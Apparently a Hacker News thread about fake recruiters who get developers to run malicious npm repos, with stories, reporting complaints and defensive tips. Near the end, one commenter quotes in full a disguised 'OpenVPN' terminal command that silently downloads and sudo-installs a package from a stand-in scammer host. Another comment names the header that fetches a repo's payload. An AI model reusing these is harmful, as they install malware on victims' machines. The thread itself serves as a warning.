> ...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.

> npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.

> The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.

Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.

$100 says OP is Claude

This is the part that really irks me: LinkedIn and Github know this is the end goal of many of the rampant supply chain attacks but they a) don't have a first class mechanism for reporting b) don't seem to be improving their systems or even warning people. I have been hit be this enough times that I follow along to get screenshots of the scammer. One might think with all the surveillance systems Microsoft/LinkedIn/Github/Google-Meet/Calendly have in place that a potential victim reporting it along with an actual picture of the scammer could get us somewhere.

Oh, Microsoft.

Someone sends you a repo, says the install is broken, and asks you to take a look.

A lot of developers would run rpm install before thinking twice, especially if they were tired or looking for work.

https://www.reddit.com/r/openclaw/comments/1rlet0h/someone_t...

Remember to use protection when meeting random people, and putting their junk deep inside your computer!

It was the most bizarely long roundabout way to get me to isntall malware I had ever witnessed I couldnt fathom it was real, I mean they interviewed me for half an hour. Now you might think Im paranoid however it was obvious, their camera was off ( personal preference they said) and well I allowed it... only for other eventual straws to breal the camels back, and I realised "oh uh oh this is just 2 strangers trying to get me to install crap on my laptop for wealth extraction".

I was flumoxed tbh I couldnt believe it, as the approach had been very organic, through Linkedin Dms, just that eventaully I realised I had succumbed to "yes men" ( the only thing that would get passed my already strict job filters ironically) to allow myself into such a comprimising situation.

The only question I had is how did they do such a smooth complex manouver and then I realised... oh they just used AI to come up with the plan and implementation.

So when I finally received a similar offer on LinkedIn, I made them pay to me, twice XD

They sent me a GitHub repository and claimed they needed help deploying a token or something similar. The obvious goal was to get me to run their code while connected to a wallet with real funds.

I told them: sure, I can probably help, but my time costs money.

So I convinced them to pay me for a consultation. For half an hour, I explained how “amazing and simple” the process was, and how they could do it themselves. They claimed to be from the US, but on the call they had an extremely heavy Asian accent. I even recorded part of it on camera, because the whole situation was ridiculous.

Before they could get too furious, I told them I did not have more time and that they would need to book another call. So they paid me a second time.

Before the second call, i got myself absolutely new macbook was for fun testing it, basically a fresh Mac (i should have been using vm because it’s faster to restore but that time i wasn’t familiar with UTM and i got parallels which is scam itself), just to see how their scam worked.

The scam was classic npm install-style: get someone to run scripts from a Git repo and hope they are unaware of how much access that can give to their machine.

Honestly, two years ago, I also did not fully understand that simple ‘nom install’ could give attackers such deep access to your computer.

https://www.linkedin.com/company/blockchainaustraliasolution...

https://blog.denv.it/posts/i-was-likely-targeted-by-dprk-in-...

It was likely DPKR.

Update: found a clone of the repo on github and got the payload, all you have to do is add a header `bearrtoken: logo`

It's obfuscated, I will feed it to qwen to see what can be gleaned.

I spoke on the phone with "Singapore based recruiters" a couple of times who wanted my services as a consultant for "advanced applications for semiconductor devices."

Turns out they were just fishing for inside information on my employer's end customer's applications.

~50% of jobs listed on who is hiring every month require a LinkedIn profile to submit a job application.

In order to find a job, one must bend the knee to LinkedIn first and subjugate themselves to the political (all sides) propaganda on the feed.

Some of these will happily get on "interview" calls etc.

For some reason, most (but not all) of them have the same telltale signs of looking for someone to work on a web3/crypto gaming project.

Because there's a massive bot network operating on LinkedIn right now... and I'm tired of interacting with it every day.

Github is really slow when it comes to malicious repos. You'll probably get an email randomly six months from now when they finally see it.

Yes, throwaway VPS for interview coding tasks should be the new norm.

I even did a write up. It was one of the first reverse engineerings I've did. https://gist.github.com/Throvn/97fcb4981c1ff66725d4b2e408ba0...

This has nearly gotten me before, and I got lucky.

The company that I currently work for is currently paying for a curation product to scan NPM for vulnerabilities, and to prevent access to typo-squatting packages and new, unverified packages. I suspect that my employer may get to the point of banning NPM entirely, though.

And, I am reading this on HN right now. What a coincidence!

I read a lot about social engineering and how the human being is considered the weakest layer in the security chain but this is the first time I've came across this pattern. Eye opening indeed.

How anybody in their right mind still uses this tech stack is beyond me.

> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Remember to treat every size on the internet as an adversary, even if they weren't in the past.

That sucks, but it seems to be par for the course, these days.

Sure, that might have been the one chance in a life time to easy big money. Or just a path to financial big troubles.

The only way around it is to be hyper-vigilant if anyone asks you to run any untrusted code on your computer.

Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.

They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.

I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:

- Don't stay loyal to your employers.

- Don't stay honest to those don't value it.

- Don't stay complacent always innovate.

Stay vigilant out there everyone.

That's your first red flag right there.

Good man, knows what he is doing.

FWIW, I only run ai cli tools on a hostinger vps, never on my personal device. Also allows me to run YOLO mode across the board. If I am working on a web project, then I use preview develop deploys for testing, so I do not even have to work on my machine. Its very fun workflow for experimentation. Still trying to work the kinks to make it easier.

> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Come on, github...

They know there's a high degree of fraud and they don't do anything about it. They don't care.

I've gotten tricked into sending my resume and talking on the phone with legitimate looking recruiters from Google, Netflix, Meta, OpenAI, Anthropic, etc, but LinkedIn does nothing about it.

Linkedin has become a rotten cesspool of scammers and spammers, ripe for disruption.

They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):

```

( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ]

```

Yeah, no. Be careful out there.

By the way, here's the scammer's "company website": https://jtwllc.com/

Superficially looks legit until you start investigating the finer details.